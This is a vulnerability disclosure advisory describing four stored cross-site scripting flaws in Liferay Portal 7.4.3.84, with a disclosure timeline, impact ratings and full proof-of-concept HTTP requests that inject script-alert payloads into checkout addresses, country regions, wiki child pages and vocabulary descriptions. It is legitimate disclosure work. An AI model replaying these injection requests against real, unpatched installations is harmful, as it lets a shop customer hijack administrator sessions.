Persistent cross-site scripting vulnerabilities in Liferay Portal

In 2023 we found multiple vulnerabilities in Liferay Portal, a digital experience platform for enterprise websites. It is a free and open-source software project. A few thousand installations on the Internet not suppressing the Liferay-Portal HTTP response header can be found via special purpose search engines.

The Liferay Portal in the Community Version is the foundation for the web interface of Liechtenstein's electronic health portal. That's the reason we got involved with the portal software – not as a customer pentest project, but out of interest. We wrote a blog post about the Liechtenstein's electronic health portal (blog post is in German). We reported our findings regarding the Liferay Portal to Liferay in order to get them addressed. Now we are releasing technical details about the vulnerabilities.

Another vulnerability we mentioned in the health portal is a Denial of Service attack, where a nested Graph QL query is not restricted by the portal and which consumes available resources leading to a Denial of Service. This vulnerability is known to Liferay.

Just so there are no misunderstandings: We did not try to use these vulnerabilities against Liechtenstein's electronic health portal.

Impact

Cross-Site-Scripting (XSS) allows an attacker to execute JavaScript in the attacked origin, enabling them to act as the exploited user of the website. A stored XSS is persistently contained in the application itself, waiting for the victim to trigger it.

While the below Cross-Site Scripting issues are all caused by missing output encoding, their impact varies greatly. The first XSS (CVE-2023-42627) can be triggered by a shop customer, meaning any person on the Internet, and is then only executed when a shop administrator visits the customer's address in the shop's administrative web interface. This is a perfect attack vector for an attacker to control the entire Liferay installation or at least the permissions of the visiting shop administrator. Therefore, we would rate this XSS as a high impact XSS.

However, the second to fourth XSS (CVE-2023-42627, CVE-2023-42628, CVE-2023-42629) can only be triggered by an administrator (or at least someone having the appropriate role/permission) by changing certain settings of Liferay. While the execution of HTML/JavaScript is not intended behavior and the proper output encoding is missing, the attack vector in this case is less attractive for an attacker, because the attacker can often not fulfil this precondition of having certain administrative permissions. Although Pentagrid is not aware of the entire role concept/permission model of Liferay, it is assumed that in most cases this only allows a user with certain administrator permissions to attack a user with other administrator permissions. As administrators in general control web page content (especially in Liferay where they can even get a groovy shell on the underlying server), we would rate these three XSS issues as informational or low impact. The CVSS version 3.1 scores can only model this attack vector in the "privilege required" attribute and therefore does not fully reflect the elaborated difference.

Timeline

  • 2023-07-13: Initial contact of Liferay and report of XSS vulnerability in shipping address field to security@liferay.com.

  • 2023-07-17: Report of an XSS vulnerability in wiki child pages via E-mail.

  • 2023-07-17: Liferay replied that they verified the vulnerability and will notify after a patch is released.

  • 2023-07-18: Report of an XSS vulnerability in country region field.

  • 2023-07-19: Report of an XSS vulnerability in vocabulary descriptions field.

  • 2023-09-11: Feedback from Liferay that the vocabulary XSS is fixed in version 7.4.3.88.

  • 2023-09-12: Liferay communicated CVE-IDs assigned to vulnerabilities.

  • 2023-10-13: Liferay reported a status about all fixes.

  • 2023-10-17: Public release of advisory after 90 days after the last reported XSS.

  • 2023-10-17: CVE-2023-42629: Liferay publishes their advisory on CVE-2023-42629 and rates the vulnerability with a CVSS 3.1 score of 9.0.

  • 2023-10-17: CVE-2023-42628: Liferay publishes their advisory on CVE-2023-42628 and rates the vulnerability with a CVSS 3.1 score of 9.0.

  • 2023-10-17: CVE-2023-42627: Liferay publishes their advisory on CVE-2023-42627 and rates the vulnerability with a CVSS 3.1 score of 9.6.

Affected Components

These vulnerabilities have been observed in the Liferay Community Edition Portal version 7.4.3.84.

Technical Details

1. Persistent cross-site scripting vulnerability via billing and shipping addresses (CVE-2023-42627)

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L, 8.3 High

When submitting an order, an attacker can inject malicious payloads. The following fields are vulnerable for both shipping and billing data: address, address2, address3, city and zip. See the following example which uses the Speedwell theme.

XSS payloads in the shipping address fields.

The corresponding HTTP request for injection via the shipping address is:

POST /web/speedwell/checkout?p_p_id=com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet&p_p_lifecycle=1&p_p_state=normal&p_p_mode=view&_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_javax.portlet.action=%2Fcommerce_checkout%2Fsave_step HTTP/1.1
Host: localhost:9090
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 2212
Origin: http://localhost:9090
Connection: close
Referer: http://localhost:9090/web/speedwell/checkout/-/checkout/shipping-address/46a00ac9-65dc-9378-7d10-e61f5cbb170e
Cookie: JSESSIONID=C2B84470E3B173A060A9DFECBEA0D6DF; COOKIE_SUPPORT=true; GUEST_LANGUAGE_ID=en_US; LFR_SESSION_STATE_20099=1697454190791; COMPANY_ID=20096; ID=7857446563676c3536646b5467436b34616942714c413d3d; LFR_SESSION_STATE_20123=1697455841126; com.liferay.commerce.model.CommerceOrder#34144=46a00ac9-65dc-9378-7d10-e61f5cbb170e
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_formDate=1697455840993&_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_checkoutStepName=shipping-address&_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_commerceOrderUuid=46a00ac9-65dc-9378-7d10-e61f5cbb170e&_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_redirect=http%3A%2F%2Flocalhost%3A9090%2Fweb%2Fspeedwell%2Fcheckout%2F-%2Fcheckout%2Fshipping-address%2F46a00ac9-65dc-9378-7d10-e61f5cbb170e&_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_commerceAddress=0&_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_newAddress=1&_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_name=%3Cscript%3Ealert%28%22shipping_name%22%29%3C%2Fscript%3E&_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_phoneNumber=%3Cscript%3Ealert%28%22shipping_phone%22%29%3C%2Fscript%3E&_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_street1=%3Cscript%3Ealert%28%22shipping_address%22%29%3C%2Fscript%3E&_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_countryId=20187&_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_street2=%3Cscript%3Ealert%28%22shipping_address2%22%29%3C%2Fscript%3E&_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_street3=%3Cscript%3Ealert%28%22shipping_address3%22%29%3C%2Fscript%3E&_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_zip=%3Cscript%3Ealert%28%22shipping_zip%22%29%3C%2Fscript%3E&_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_city=%3Cscript%3Ealert%28%22shipping_city%22%29%3C%2Fscript%3E&_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_regionId=0&_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_region
        Id=0&_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_regionId=0&_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_checkboxNames=use-as-billing&p_auth=GgaH6PDc

The corresponding HTTP request for injection via the billing address is:

POST /web/speedwell/checkout?p_p_id=com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet&p_p_lifecycle=1&p_p_state=normal&p_p_mode=view&_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_javax.portlet.action=%2Fcommerce_checkout%2Fsave_step HTTP/1.1
Host: localhost:9090
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 2095
Origin: http://localhost:9090
Connection: close
Referer: http://localhost:9090/web/speedwell/checkout/-/checkout/billing-address/46a00ac9-65dc-9378-7d10-e61f5cbb170e
Cookie: JSESSIONID=C2B84470E3B173A060A9DFECBEA0D6DF; COOKIE_SUPPORT=true; GUEST_LANGUAGE_ID=en_US; LFR_SESSION_STATE_20099=1697454190791; COMPANY_ID=20096; ID=7857446563676c3536646b5467436b34616942714c413d3d; LFR_SESSION_STATE_20123=1697456017677; com.liferay.commerce.model.CommerceOrder#34144=46a00ac9-65dc-9378-7d10-e61f5cbb170e
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_formDate=1697456016443&_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_checkoutStepName=billing-address&_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_commerceOrderUuid=46a00ac9-65dc-9378-7d10-e61f5cbb170e&_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_redirect=http%3A%2F%2Flocalhost%3A9090%2Fweb%2Fspeedwell%2Fcheckout%2F-%2Fcheckout%2Fbilling-address%2F46a00ac9-65dc-9378-7d10-e61f5cbb170e&_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_commerceAddress=0&_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_newAddress=1&_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_name=%3Cscript%3Ealert%28%22billing_name%22%29%3C%2Fscript%3E&_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_phoneNumber=%3Cscript%3Ealert%28%22billing_phone%22%29%3C%2Fscript%3E&_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_street1=%3Cscript%3Ealert%28%22billing_adress%22%29%3C%2Fscript%3E&_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_countryId=20187&_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_street2=%3Cscript%3Ealert%28%22billing_adress2%22%29%3C%2Fscript%3E&_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_street3=%3Cscript%3Ealert%28%22billing_adress3%22%29%3C%2Fscript%3E&_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_zip=%3Cscript%3Ealert%28%22billing_zip%22%29%3C%2Fscript%3E&_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_city=%3Cscript%3Ealert%28%22billing_city%22%29%3C%2Fscript%3E&_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_regionId=0&_com_liferay_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_regionId=0&_com_li
feray_commerce_checkout_web_internal_portlet_CommerceCheckoutPortlet_regionId=0&p_auth=GgaH6PDc

Once the order is submitted, the payloads get executed in the browser of the victim (e.g. the shop owner) when they view the order details. The browser sends a GET request, for example:

GET /group/speedwell/~/control_panel/manage?p_p_id=com_liferay_commerce_order_web_internal_portlet_CommerceOrderPortlet&p_p_lifecycle=0&p_p_state=maximized&_com_liferay_commerce_order_web_internal_portlet_CommerceOrderPortlet_mvcRenderCommandName=%2Fcommerce_order%2Fedit_commerce_order&_com_liferay_commerce_order_web_internal_portlet_CommerceOrderPortlet_commerceOrderId=35980&p_p_auth=LRyvOYIu HTTP/1.1

The corresponding response contains:

HTTP/1.1 200
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: private, no-cache, no-store, must-revalidate
Pragma: no-cache
Liferay-Portal: Liferay Community Edition Portal
Content-Type: text/html;charset=UTF-8
Date: Mon, 16 Oct 2023 11:37:40 GMT
Connection: close
Content-Length: 99498


<div class="description">


    <p class="mb-0">
        <script>alert("billing_adress")</script>
    </p>


        <p class="mb-0">
            <script>alert("billing_adress2")</script>
        </p>

        <p class="mb-0">
            <script>alert("billing_adress3")</script>
        </p>


    <p class="mb-0">
        <script>alert("billing_city")</script>, <script>alert("billing_zip")</script>
    </p>
[...]
    <div class="description">

        <p class="mb-0">
            <script>alert("shipping_address")</script>
        </p>


            <p class="mb-0">
                <script>alert("shipping_address2")</script>
            </p>

            <p class="mb-0">
                <script>alert("shipping_address3")</script>
            </p>


        <p class="mb-0">
            <script>alert("shipping_city")</script>, <script>alert("shipping_zip")</script>
        </p>
[...]
Alert when viewing order details.

Additionally, injections into the fields name and phone get executed when an attacker has set these as default billing or shipping addresses and the victim examines the account details afterwards. The menu for changing the default addresses is affected by this stored XSS vulnerability as well.

2. Persistent cross-site scripting vulnerability via country regions (CVE-2023-42627)

CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:N, 6.1 Medium

An attacker can inject arbitrary JavaScript or HTML code when adding country regions. A HTTP POST request for injecting JavaScript and HTML code is:

POST /group/guest/~/control_panel/manage?p_p_id=com_liferay_commerce_address_web_internal_portlet_CommerceCountryPortlet&p_p_lifecycle=1&p_p_state=maximized&p_p_mode=view&_com_liferay_commerce_address_web_internal_portlet_CommerceCountryPortlet_javax.portlet.action=%2Fcommerce_country%2Fedit_commerce_region&p_p_auth=olPu9S6s HTTP/1.1
Host: localhost:9090
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://localhost:9090/group/guest/~/control_panel/client
x-csrf-token: GgaH6PDc
x-pjax: true
x-requested-with: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------195765885022298159623640673918
Content-Length: 2850
Origin: http://localhost:9090
Connection: close
Cookie: JSESSIONID=C2B84470E3B173A060A9DFECBEA0D6DF; COOKIE_SUPPORT=true; GUEST_LANGUAGE_ID=en_US; LFR_SESSION_STATE_20099=1697454190791; COMPANY_ID=20096; ID=7857446563676c3536646b5467436b34616942714c413d3d; LFR_SESSION_STATE_20123=1697455335712
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

-----------------------------195765885022298159623640673918
Content-Disposition: form-data; name="_com_liferay_commerce_address_web_internal_portlet_CommerceCountryPortlet_formDate"

1697455335661
-----------------------------195765885022298159623640673918
Content-Disposition: form-data; name="_com_liferay_commerce_address_web_internal_portlet_CommerceCountryPortlet_cmd"

add
-----------------------------195765885022298159623640673918
Content-Disposition: form-data; name="_com_liferay_commerce_address_web_internal_portlet_CommerceCountryPortlet_redirect"

http://localhost:9090/group/guest/~/control_panel/manage?p_p_id=com_liferay_commerce_address_web_internal_portlet_CommerceCountryPortlet&p_p_lifecycle=0&p_p_state=maximized&p_p_mode=view&_com_liferay_commerce_address_web_internal_portlet_CommerceCountryPortlet_mvcRenderCommandName=%2Fcommerce_country%2Fedit_commerce_country&_com_liferay_commerce_address_web_internal_portlet_CommerceCountryPortlet_redirect=http%3A%2F%2Flocalhost%3A9090%2Fgroup%2Fguest%2F%7E%2Fcontrol_panel%2Fmanage%3Fp_p_id%3Dcom_liferay_commerce_address_web_internal_portlet_CommerceCountryPortlet%26p_p_lifecycle%3D0%26p_p_state%3Dmaximized%26p_p_mode%3Dview%26p_p_auth%3DolPu9S6s&_com_liferay_commerce_address_web_internal_portlet_CommerceCountryPortlet_screenNavigationCategoryKey=regions&_com_liferay_commerce_address_web_internal_portlet_CommerceCountryPortlet_countryId=20916&p_p_auth=olPu9S6s
-----------------------------195765885022298159623640673918
Content-Disposition: form-data; name="_com_liferay_commerce_address_web_internal_portlet_CommerceCountryPortlet_countryId"

20916
-----------------------------195765885022298159623640673918
Content-Disposition: form-data; name="_com_liferay_commerce_address_web_internal_portlet_CommerceCountryPortlet_regionId"

0
-----------------------------195765885022298159623640673918
Content-Disposition: form-data; name="_com_liferay_commerce_address_web_internal_portlet_CommerceCountryPortlet_name"

<script>alert("region_name")</script>
-----------------------------195765885022298159623640673918
Content-Disposition: form-data; name="_com_liferay_commerce_address_web_internal_portlet_CommerceCountryPortlet_regionCode"

<script>alert("region_code")</script>
-----------------------------195765885022298159623640673918
Content-Disposition: form-data; name="_com_liferay_commerce_address_web_internal_portlet_CommerceCountryPortlet_position"

0.0
-----------------------------195765885022298159623640673918
Content-Disposition: form-data; name="_com_liferay_commerce_address_web_internal_portlet_CommerceCountryPortlet_checkboxNames"

active
-----------------------------195765885022298159623640673918
Content-Disposition: form-data; name="p_auth"

GgaH6PDc
-----------------------------195765885022298159623640673918--

These payloads get executed when a victim is examining the regions page. The corresponding HTTP GET request is:

GET /group/guest/~/control_panel/manage?p_p_id=com_liferay_commerce_address_web_internal_portlet_CommerceCountryPortlet&p_p_lifecycle=0&p_p_state=maximized&p_p_mode=view&_com_liferay_commerce_address_web_internal_portlet_CommerceCountryPortlet_mvcRenderCommandName=%2Fcommerce_country%2Fedit_commerce_country&_com_liferay_commerce_address_web_internal_portlet_CommerceCountryPortlet_redirect=http%3A%2F%2Flocalhost%3A9090%2Fgroup%2Fguest%2F%7E%2Fcontrol_panel%2Fmanage%3Fp_p_id%3Dcom_liferay_commerce_address_web_internal_portlet_CommerceCountryPortlet%26p_p_lifecycle%3D0%26p_p_state%3Dmaximized%26p_p_mode%3Dview%26p_p_auth%3DolPu9S6s&_com_liferay_commerce_address_web_internal_portlet_CommerceCountryPortlet_screenNavigationCategoryKey=regions&_com_liferay_commerce_address_web_internal_portlet_CommerceCountryPortlet_countryId=20916&p_p_auth=olPu9S6s HTTP/1.1
[...]

The server then returns the injected HTML ands JavaScript code in the reponse:

HTTP/1.1 200
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: private, no-cache, no-store, must-revalidate
Pragma: no-cache
Liferay-Portal: Liferay Community Edition Portal
Content-Type: text/html;charset=UTF-8
Date: Mon, 16 Oct 2023 11:24:20 GMT
Connection: close
Content-Length: 117171

[...]
<script>alert("region_name")</script></a>
[...]
        <td class="table-cell-expand lfr-regioncode-column" colspan="1">
                <script>alert("region_code")</script>
        </td>
[...]
XSS payloads while editing a country definition.

3. Persistent cross-site scripting vulnerability via wiki child pages (CVE-2023-42628)

CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:N, 6.1 Medium

When adding a new child page in a wiki page, an attacker can inject malicious payloads into the content field. This payload gets executed in the browser of the victim when they visit the according parent page, because the payload is placed as text into the child page's container.

HTTP request:

POST /wiki?p_p_id=com_liferay_wiki_web_portlet_WikiPortlet&p_p_lifecycle=1&p_p_state=normal&p_p_mode=view&_com_liferay_wiki_web_portlet_WikiPortlet_javax.portlet.action=%2Fwiki%2Fedit_page&_com_liferay_wiki_web_portlet_WikiPortlet_mvcRenderCommandName=%2Fwiki%2Fedit_page HTTP/1.1
Host: localhost:9090
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://localhost:9090/client
x-csrf-token: GgaH6PDc
x-pjax: true
x-requested-with: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------9342881932314680790817840128
Content-Length: 4704
Origin: http://localhost:9090
Connection: close
Cookie: JSESSIONID=C2B84470E3B173A060A9DFECBEA0D6DF; COOKIE_SUPPORT=true; GUEST_LANGUAGE_ID=en_US; LFR_SESSION_STATE_20099=1697454190791; COMPANY_ID=20096; ID=7857446563676c3536646b5467436b34616942714c413d3d; LFR_SESSION_STATE_20123=1697455074560
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

-----------------------------9342881932314680790817840128
Content-Disposition: form-data; name="_com_liferay_wiki_web_portlet_WikiPortlet_formDate"

1697455074387
-----------------------------9342881932314680790817840128
Content-Disposition: form-data; name="_com_liferay_wiki_web_portlet_WikiPortlet_cmd"

add
-----------------------------9342881932314680790817840128
Content-Disposition: form-data; name="_com_liferay_wiki_web_portlet_WikiPortlet_redirect"

http://localhost:9090/wiki/-/wiki/Main/FrontPage?p_r_p_http%3A%2F%2Fwww.liferay.com%2Fpublic-render-parameters%2Fwiki_nodeName=Main&p_r_p_http%3A%2F%2Fwww.liferay.com%2Fpublic-render-parameters%2Fwiki_nodeName=Main&p_r_p_http%3A%2F%2Fwww.liferay.com%2Fpublic-render-parameters%2Fwiki_nodeName=Main&p_r_p_http%3A%2F%2Fwww.liferay.com%2Fpublic-render-parameters%2Fwiki_title=FrontPage&p_r_p_http%3A%2F%2Fwww.liferay.com%2Fpublic-render-parameters%2Fwiki_title=FrontPage&p_r_p_http%3A%2F%2Fwww.liferay.com%2Fpublic-render-parameters%2Fwiki_title=FrontPage
-----------------------------9342881932314680790817840128
Content-Disposition: form-data; name="_com_liferay_wiki_web_portlet_WikiPortlet_editTitle"

true
-----------------------------9342881932314680790817840128
Content-Disposition: form-data; name="_com_liferay_wiki_web_portlet_WikiPortlet_nodeId"

35926
-----------------------------9342881932314680790817840128
Content-Disposition: form-data; name="_com_liferay_wiki_web_portlet_WikiPortlet_parentTitle"

FrontPage
-----------------------------9342881932314680790817840128
Content-Disposition: form-data; name="_com_liferay_wiki_web_portlet_WikiPortlet_workflowAction"

1
-----------------------------9342881932314680790817840128
Content-Disposition: form-data; name="_com_liferay_wiki_web_portlet_WikiPortlet_version"

0.0
-----------------------------9342881932314680790817840128
Content-Disposition: form-data; name="_com_liferay_wiki_web_portlet_WikiPortlet_title"

child page
-----------------------------9342881932314680790817840128
Content-Disposition: form-data; name="_com_liferay_wiki_web_portlet_WikiPortlet_contentEditor"


-----------------------------9342881932314680790817840128
Content-Disposition: form-data; name="_com_liferay_wiki_web_portlet_WikiPortlet_content"

<script>alert("child node")</script>


-----------------------------9342881932314680790817840128
Content-Disposition: form-data; name="_com_liferay_wiki_web_portlet_WikiPortlet_assetLinksSearchContainerPrimaryKeys"


-----------------------------9342881932314680790817840128
Content-Disposition: form-data; name="_com_liferay_wiki_web_portlet_WikiPortlet_assetLinkEntryIds"


-----------------------------9342881932314680790817840128
Content-Disposition: form-data; name="_com_liferay_wiki_web_portlet_WikiPortlet_summary"


-----------------------------9342881932314680790817840128
Content-Disposition: form-data; name="_com_liferay_wiki_web_portlet_WikiPortlet_format"

creole
-----------------------------9342881932314680790817840128
Content-Disposition: form-data; name="_com_liferay_wiki_web_portlet_WikiPortlet_inputPermissionsShowOptions"

false
-----------------------------9342881932314680790817840128
Content-Disposition: form-data; name="_com_liferay_wiki_web_portlet_WikiPortlet_inputPermissionsViewRole"

Guest
-----------------------------9342881932314680790817840128
Content-Disposition: form-data; name="_com_liferay_wiki_web_portlet_WikiPortlet_guestPermissions"

VIEW
-----------------------------9342881932314680790817840128
Content-Disposition: form-data; name="_com_liferay_wiki_web_portlet_WikiPortlet_guestPermissions"

ADD_DISCUSSION
-----------------------------9342881932314680790817840128
Content-Disposition: form-data; name="_com_liferay_wiki_web_portlet_WikiPortlet_groupPermissions"

UPDATE
-----------------------------9342881932314680790817840128
Content-Disposition: form-data; name="_com_liferay_wiki_web_portlet_WikiPortlet_groupPermissions"

SUBSCRIBE
-----------------------------9342881932314680790817840128
Content-Disposition: form-data; name="_com_liferay_wiki_web_portlet_WikiPortlet_groupPermissions"

VIEW
-----------------------------9342881932314680790817840128
Content-Disposition: form-data; name="_com_liferay_wiki_web_portlet_WikiPortlet_groupPermissions"

ADD_DISCUSSION
-----------------------------9342881932314680790817840128
Content-Disposition: form-data; name="p_auth"

GgaH6PDc
-----------------------------9342881932314680790817840128
Content-Disposition: form-data; name="_com_liferay_wiki_web_portlet_WikiPortlet_saveButton"


-----------------------------9342881932314680790817840128--

Later, the browser sends a GET request to retrieve the parent page, for example to the follwoing resource:

GET /wiki/-/wiki/Main/FrontPage?p_r_p_http%3A%2F%2Fwww.liferay.com%2Fpublic-render-parameters%2Fwiki_nodeName=Main&p_r_p_http%3A%2F%2Fwww.liferay.com%2Fpublic-render-parameters%2Fwiki_nodeName=Main&p_r_p_http%3A%2F%2Fwww.liferay.com%2Fpublic-render-parameters%2Fwiki_nodeName=Main&p_r_p_http%3A%2F%2Fwww.liferay.com%2Fpublic-render-parameters%2Fwiki_title=FrontPage&p_r_p_http%3A%2F%2Fwww.liferay.com%2Fpublic-render-parameters%2Fwiki_title=FrontPage&p_r_p_http%3A%2F%2Fwww.liferay.com%2Fpublic-render-parameters%2Fwiki_title=FrontPage HTTP/1.1
[...]

The corresponding HTTP response contains the injected JavaScript code:

HTTP/1.1 200
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: private, no-cache, no-store, must-revalidate
Pragma: no-cache
Liferay-Portal: Liferay Community Edition Portal
Content-Type: text/html;charset=UTF-8
Date: Mon, 16 Oct 2023 11:18:28 GMT
Connection: close
Content-Length: 178424

[...]]
<h4 class="text-default">Child Pages (1)</h4>
 <div>
  <ul class="list-group">
   <li class="list-group-item"><h3><a href="http://localhost:9090/wiki/-/wiki/Main/child+page?p_r_p_http%3A%2F%2Fwww.liferay.com%2Fpublic-render-parameters%2Fwiki_nodeName=Main&amp;p_r_p_http%3A%2F%2Fwww.liferay.com%2Fpublic-render-parameters%2Fwiki_title=child+page">child page</a></h3> <p class="text-default"><script>alert("child node")</script></p></li>
  </ul>
 </div>
XSS payloads in wiki child pages.

4. Persistent cross-site scripting vulnerability via category vocabulary (CVE-2023-42629)

CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:N, 6.1 Medium

When adding new vocabulary to the categories, an attacker can inject a malicious payload into the description field. This payload gets executed in the browser of the victim when they visit the category page. If the malicious entry is not the first in the list, the payload gets executed once the victim selects the malicious entry.

HTTP request:

POST /group/speedwell/~/control_panel/manage/-/categories_admin/vocabularies/new?p_p_lifecycle=1&_com_liferay_asset_categories_admin_web_portlet_AssetCategoriesAdminPortlet_javax.portlet.action=%2Fasset_categories_admin%2Fedit_asset_vocabulary HTTP/1.1
Host: localhost:9090
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://localhost:9090/group/speedwell/~/control_panel/manage/-/categories_admin/vocabularies/client
x-csrf-token: GgaH6PDc
x-pjax: true
x-requested-with: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------23385551494836211141651886319
Content-Length: 3949
Origin: http://localhost:9090
Connection: close
Cookie: JSESSIONID=C2B84470E3B173A060A9DFECBEA0D6DF; COOKIE_SUPPORT=true; GUEST_LANGUAGE_ID=en_US; LFR_SESSION_STATE_20099=1697454190791; COMPANY_ID=20096; ID=7857446563676c3536646b5467436b34616942714c413d3d; LFR_SESSION_STATE_20123=1697454288116
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

-----------------------------23385551494836211141651886319
Content-Disposition: form-data; name="_com_liferay_asset_categories_admin_web_portlet_AssetCategoriesAdminPortlet_formDate"

1697454287833
-----------------------------23385551494836211141651886319
Content-Disposition: form-data; name="_com_liferay_asset_categories_admin_web_portlet_AssetCategoriesAdminPortlet_redirect"

http://localhost:9090/group/speedwell/~/control_panel/manage/-/categories_admin/vocabularies
-----------------------------23385551494836211141651886319
Content-Disposition: form-data; name="_com_liferay_asset_categories_admin_web_portlet_AssetCategoriesAdminPortlet_vocabularyId"

0
-----------------------------23385551494836211141651886319
Content-Disposition: form-data; name="_com_liferay_asset_categories_admin_web_portlet_AssetCategoriesAdminPortlet_title"

MyCategory
-----------------------------23385551494836211141651886319
Content-Disposition: form-data; name="_com_liferay_asset_categories_admin_web_portlet_AssetCategoriesAdminPortlet_title_en_US"

MyCategory
-----------------------------23385551494836211141651886319
Content-Disposition: form-data; name="_com_liferay_asset_categories_admin_web_portlet_AssetCategoriesAdminPortlet_description"

<script>alert("description")</script>
-----------------------------23385551494836211141651886319
Content-Disposition: form-data; name="_com_liferay_asset_categories_admin_web_portlet_AssetCategoriesAdminPortlet_description_en_US"

<script>alert("description")</script>
-----------------------------23385551494836211141651886319
Content-Disposition: form-data; name="_com_liferay_asset_categories_admin_web_portlet_AssetCategoriesAdminPortlet_multiValued"

on
-----------------------------23385551494836211141651886319
Content-Disposition: form-data; name="_com_liferay_asset_categories_admin_web_portlet_AssetCategoriesAdminPortlet_visibilityType"

0
-----------------------------23385551494836211141651886319
Content-Disposition: form-data; name="_com_liferay_asset_categories_admin_web_portlet_AssetCategoriesAdminPortlet_classNameId0"

0
-----------------------------23385551494836211141651886319
Content-Disposition: form-data; name="_com_liferay_asset_categories_admin_web_portlet_AssetCategoriesAdminPortlet_subtype29955-classNameId0"

-1
-----------------------------23385551494836211141651886319
Content-Disposition: form-data; name="_com_liferay_asset_categories_admin_web_portlet_AssetCategoriesAdminPortlet_subtype20010-classNameId0"

-1
-----------------------------23385551494836211141651886319
Content-Disposition: form-data; name="_com_liferay_asset_categories_admin_web_portlet_AssetCategoriesAdminPortlet_indexes"

0
-----------------------------23385551494836211141651886319
Content-Disposition: form-data; name="_com_liferay_asset_categories_admin_web_portlet_AssetCategoriesAdminPortlet_inputPermissionsShowOptions"

false
-----------------------------23385551494836211141651886319
